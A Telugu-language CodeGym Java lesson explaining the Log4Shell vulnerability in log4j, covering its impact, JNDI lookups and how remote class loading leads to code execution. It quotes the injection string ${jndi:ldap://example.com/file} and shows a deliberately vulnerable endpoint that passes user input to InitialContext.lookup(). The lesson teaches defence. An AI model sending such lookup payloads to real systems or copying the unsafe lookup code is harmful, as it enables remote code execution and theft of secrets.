CodeGym /కోర్సులు /మాడ్యూల్ 3 /Log4Shell దుర్బలత్వం

Log4Shell దుర్బలత్వం

మాడ్యూల్ 3
స్థాయి , పాఠం
అందుబాటులో ఉంది

7.1 కుంభకోణం

వాస్తవానికి, ఇటీవల జరిగిన కథ గురించి చెప్పకుండా ఉండటం అసాధ్యం - 2021 చివరిలో.

లాగ్ 4 షెల్

US సైబర్‌ సెక్యూరిటీ అండ్ ఇన్‌ఫ్రాస్ట్రక్చర్ ప్రొటెక్షన్ ఏజెన్సీ (CISA) ఈ సమస్య Log4Shellచరిత్రలో అత్యంత తీవ్రమైన దుర్బలత్వాలలో ఒకటిగా పేర్కొంది. అవును, మేము మా అభిమాన లైబ్రరీ గురించి మాట్లాడుతున్నాము log4j.

మా హాయిగా ఉండే చిన్న లైబ్రరీ log4j మరియు చరిత్రలో అతిపెద్ద దుర్బలత్వం ? ఆసక్తిగా ఉందా? అప్పుడు వినండి.

7.2 విపత్తు యొక్క స్కేల్

క్లిష్టమైన దుర్బలత్వం (కోడ్ CVE-2021-44228) యొక్క ఆవిష్కరణను Log4Shellడిసెంబర్ 9, 2021న Lunasec భద్రతా నిపుణులు ప్రకటించారు. అపాచీ సెక్యూరిటీ టీమ్ జావా కమ్యూనిటీకి చెందిన నిపుణులు ఈ సమాచారాన్ని ధృవీకరించారు మరియు హాని కలిగించే జావా లైబ్రరీల జాబితాను ప్రచురించారు. జాబితా కేవలం పెద్దది.

జావా ప్రాజెక్ట్ లైబ్రరీని ఉపయోగించినట్లయితే log4j, అది చాలా సులభంగా హ్యాక్ చేయబడుతుంది. Javaమరియు దాదాపు అన్ని సర్వర్ సాఫ్ట్‌వేర్‌లు అత్యంత ప్రజాదరణ పొందిన జావా లాగర్‌లో వ్రాయబడినందున log4j, భద్రతా నిపుణుల అభిప్రాయం ప్రకారం, దుర్బలత్వం 93% కార్పొరేట్ క్లౌడ్ పరిసరాలను ప్రభావితం చేసింది. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam మరియు మరెన్నో వంటి వాటితో సహా

అంతేకాకుండా, దుర్బలత్వం సర్వర్ సాఫ్ట్‌వేర్‌ను మాత్రమే కాకుండా, అనేక జావా అప్లికేషన్‌లను అలాగే హార్డ్‌వేర్ తయారీదారులను కూడా ప్రభావితం చేసింది. ఉదాహరణకు, ఇంటెల్ 32 హ్యాక్ చేయగల ప్రోగ్రామ్‌ల జాబితాను ప్రచురించింది: SDKలు, సర్వర్ నిర్వహణ వ్యవస్థలు, Linux సాధనాలు.

Nvidia DGX సర్వర్‌లు మరియు NetQ సాధనాలను ప్రస్తావిస్తూ భద్రతా సమస్య నివేదికను కూడా పోస్ట్ చేసింది. Apple మరియు Microsoft ద్వారా అనేక నవీకరణలు అత్యవసరంగా విడుదల చేయబడ్డాయి.

స్థూలంగా చెప్పాలంటే, విద్యార్థి బ్రౌజర్ యొక్క అడ్రస్ బార్‌లో ఒక లైన్ ఈ లైన్‌ను లాగర్ తిన్నట్లయితే సర్వర్‌ను ఉంచుతుంది (చాలా సర్వర్‌లలో, ప్రతిదీ లాగ్ చేయబడింది HTTP-requests).

కోడ్‌ను విశ్లేషించిన తర్వాత, దుర్బలత్వం 2013 నుండి లైబ్రరీలో కూర్చున్నట్లు తేలింది, కానీ వారు ఇప్పుడే గమనించారు. మరియు వారు లోతుగా త్రవ్వడం ప్రారంభించినప్పుడు, వారు ఒక అగాధాన్ని కనుగొన్నారు, దాని అడుగు భాగం అస్సలు కనిపించదు.

7.3 చరిత్రలో అత్యంత తీవ్రమైన దుర్బలత్వం

డిసెంబర్ 2021లో, US సైబర్‌ సెక్యూరిటీ అండ్ ఇన్‌ఫ్రాస్ట్రక్చర్ ప్రొటెక్షన్ ఏజెన్సీ (CISA) ఇది చరిత్రలో అత్యంత తీవ్రమైన దుర్బలత్వాలలో ఒకటిగా పేర్కొంది .Log4Shell

చాలా మంది నిపుణులు ఇదే అభిప్రాయాన్ని వ్యక్తం చేస్తున్నారు . ఈ దుర్బలత్వం గురించి అందరికీ తెలుసు మరియు అన్ని వయసుల హ్యాకర్లు ఇప్పటికే వ్యక్తిగత డేటాను దొంగిలించడానికి మరియు వివిధ సంస్థలపై ఇతర రకాల దాడులకు దీనిని ఉపయోగిస్తున్నారు. భవిష్యత్తులో, మేము భారీ హ్యాక్‌లు మరియు డేటా లీక్‌ల కోసం ఎదురు చూస్తున్నాము.

Log4j గురించిన మీమ్‌లతో ప్రత్యేక సైట్ ఉంది మరియు ప్రతిరోజూ కొత్త చిత్రాలు ఉండటం ద్వారా కూడా విపత్తు స్థాయిని అంచనా వేయవచ్చు .

ఈ సమస్య చాలా కాలంగా మనలో ఉంది. వందల మిలియన్ల కంప్యూటర్ సిస్టమ్‌లు కాకపోయినా మిలియన్‌లలో భద్రతా రంధ్రం. అన్ని పాత సాఫ్ట్‌వేర్‌లను అప్‌డేట్ చేయాలి మరియు కనీసం ఈ లైబ్రరీని అక్కడ భర్తీ చేయాలి. కానీ చాలా సందర్భాలలో, వారి సాఫ్ట్‌వేర్‌లో ఏ లైబ్రరీలు మరియు ఏ సంస్కరణలు ఉపయోగించబడుతున్నాయో కూడా ఎవరికీ తెలియదు.

సాధారణంగా, కంప్యూటర్ సెక్యూరిటీ స్పెషలిస్ట్‌ల వేతనాలలో పదునైన పెరుగుదలను మేము ఆశిస్తున్నాము.

7.4 దుర్బలత్వం యొక్క స్వభావం

దుర్బలత్వం యొక్క సారాంశాన్ని అర్థం చేసుకోవడానికి, మీరు పెద్ద సర్వర్ వ్యవస్థలు ఎలా ఏర్పాటు చేయబడతాయో అర్థం చేసుకోవాలి. తరచుగా ఇటువంటి సర్వర్ అప్లికేషన్‌లు వేర్వేరు సర్వర్‌లలో ఉన్న వివిధ సేవలుగా విభజించబడతాయి. మరియు JNDI సేవ వారికి పరస్పరం పరస్పరం సహాయం చేస్తుంది.

జావా నేమింగ్ మరియు డైరెక్టరీ ఇంటర్‌ఫేస్ (JNDI) అనేది Java APIవస్తువులు/సేవలను పేరుతో వెతకడం. ఈ వస్తువులు రిమోట్ మెథడ్ ఇన్వకేషన్ (RMI), కామన్ ఆబ్జెక్ట్ రిక్వెస్ట్ బ్రోకర్ ఆర్కిటెక్చర్ (CORBA), లైట్ వెయిట్ డైరెక్టరీ యాక్సెస్ ప్రోటోకాల్ (LDAP) లేదా డొమైన్ నేమ్ సర్వీస్ (DNS) వంటి వివిధ నామకరణ సేవలు లేదా డైరెక్టరీలలో నిల్వ చేయబడతాయి.

దానితో పని చేయడం చాలా సులభం - ఇది ఒక స్ట్రింగ్ పరామితిని మాత్రమే తీసుకునే సరళమైనది Java API- సేవ యొక్క పేరు. దానితో, మీరు ఏదైనా సేవను సంప్రదించవచ్చు మరియు ఏదైనా చేయమని మరియు / లేదా కొంత డేటాను పంపమని అతనిని అడగవచ్చు. ఉదాహరణకు, స్ట్రింగ్‌లో పేర్కొన్న ${jndi:ldap://example.com/file}దాని నుండి స్ట్రింగ్ డేటాను లోడ్ చేస్తుంది URL.

పరామితి అవిశ్వసనీయ మూలం నుండి వచ్చినట్లయితే, అది రిమోట్ క్లాస్ లోడింగ్ మరియు మూడవ పక్షం కోడ్ అమలుకు దారి తీస్తుంది . విషయంలో ఏం జరుగుతుంది Log4j. దాడి చేసే వ్యక్తి బాధితుడి జావా అప్లికేషన్‌ను హానికరమైన దానికి మళ్లిస్తాడు rmi/ldap/corba-serverమరియు ప్రతిస్పందనగా హానికరమైన వస్తువును అందుకుంటాడు.

సాంకేతికంగా, ఇక్కడ సమస్య లైబ్రరీలోనే కాదు log4j, పని చేస్తున్నప్పుడు భద్రతా సెట్టింగ్‌లలో ఉంది JNDI-service. మేము ఏ రకమైన స్ట్రింగ్‌కు వెళతామో మీరు ఎల్లప్పుడూ తనిఖీ చేయాలి InitialContext.lookup().

హాని కలిగించే ఉదాహరణ JNDI-applications:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 చాలా స్మార్ట్ లైబ్రరీ

మరియు log4jమీరు ఎక్కడ అడుగుతారు? విషయం ఏమిటంటే, దాని డెవలపర్లు దానితో సాధ్యమైనంత సౌకర్యవంతంగా పని చేయాలని కోరుకున్నారు మరియు దానికి స్మార్ట్ లాగింగ్‌ను జోడించారు. ఇది ఎలా పని చేస్తుందో ఇక్కడ ఉంది:

డేటా ప్రత్యామ్నాయంగా ఉన్న టెంప్లేట్‌ను సెట్ చేయడానికి లాగ్ సందేశాలు మిమ్మల్ని అనుమతించడంతో ఇదంతా ప్రారంభమైంది, ఉదాహరణకు:


log.debug(“User {user} has {count} friends”, user, count);

డేటా ప్రత్యామ్నాయం లేని పాత సంస్కరణ ఇలా ఉంది:


log.debug( “User “+user +” has “+ count +” friends”);

2013లో, వీక్షణ టెంప్లేట్ ద్వారా పేర్కొన్న స్మార్ట్ ప్రిఫిక్స్‌ల ప్రత్యామ్నాయం కూడా లైబ్రరీకి జోడించబడింది ${prefix:name}. ఉదాహరణకు, స్ట్రింగ్ “${java:version}”కు మార్చబడుతుంది «Java version 1.7.0_67». ఓహ్ ఎంత సౌకర్యవంతంగా ఉంటుంది.

గుర్తించబడిన వ్యక్తీకరణలలో ${jndi:<lookup>}jndi ప్రోటోకాల్ తర్వాత మీరు దీని ద్వారా శోధనను పేర్కొనవచ్చు LDAP: ఏకపక్షంగా URL-addressప్రశ్నించవచ్చు మరియు ఆబ్జెక్ట్ డేటాగా లోడ్ చేయవచ్చు Java.

ఇది మొత్తం విధానం యొక్క ప్రామాణిక సమస్య JDK: ఇది ఒక వస్తువును స్వయంచాలకంగా డీరియలైజ్ చేస్తుంది, దీని లింక్‌ను url రూపంలో సెట్ చేయవచ్చు. ఈ సందర్భంలో, వస్తువు యొక్క డేటా మాత్రమే రిమోట్ వనరు నుండి లోడ్ చేయబడుతుంది, కానీ దాని తరగతి యొక్క కోడ్ కూడా.

హాక్ ఇలా కనిపిస్తుంది:

  • హానికరమైన కోడ్‌తో ఫైల్‌ను డౌన్‌లోడ్ చేస్తోంది
  • ఫైల్ ధారావాహిక Java an object(మరియు దాని తరగతి) ని కలిగి ఉంది
  • తరగతి లోడ్ అవుతోందిJava-machine
  • హానికరమైన తరగతి యొక్క వస్తువు సృష్టించబడుతుంది
  • వస్తువు యొక్క కన్స్ట్రక్టర్ అంటారు
  • కన్స్ట్రక్టర్ మరియు స్టాటిక్ ఇనిషియలైజేషన్ రెండూ హానికరమైన క్లాస్ కోడ్‌ని అమలు చేయడానికి అనుమతిస్తాయి

లాగిన్ అవుతున్న లైన్‌లో log4jఏదైనా ఉంటే ${jndi:ldap://example.com/file}, ఇంటర్నెట్‌కి కనెక్ట్ చేసేటప్పుడు log4jదాని నుండి డేటాను డౌన్‌లోడ్ చేస్తుందిURL-address . లాగిన్ చేసిన స్ట్రింగ్‌ను నమోదు చేయడం ద్వారా, దాడి చేసే వ్యక్తి పబ్లిక్‌లో హోస్ట్ చేసిన హానికరమైన కోడ్‌ను డౌన్‌లోడ్ చేసి, అమలు చేయవచ్చు URL-address.

డేటా అమలు నిలిపివేయబడినప్పటికీ, దాడి చేసే వ్యక్తి దానిని ఒక లో ఉంచడం ద్వారా రహస్య పర్యావరణ వేరియబుల్స్ వంటి డేటాను పొందవచ్చు, URL-addressఅది దానిని భర్తీ చేస్తుంది మరియు దాడి చేసేవారి సర్వర్‌కు పంపుతుంది.

శుభవార్త ఏమిటంటే లైబ్రరీలో సమస్య త్వరగా పరిష్కరించబడింది .

చెడ్డ వార్త ఏమిటంటే, ప్రపంచవ్యాప్తంగా మిలియన్ల కొద్దీ సర్వర్‌లు ఇప్పటికీ ఈ లైబ్రరీ యొక్క పాత సంస్కరణను అమలు చేస్తున్నాయి ...

వ్యాఖ్యలు
TO VIEW ALL COMMENTS OR TO MAKE A COMMENT,
GO TO FULL VERSION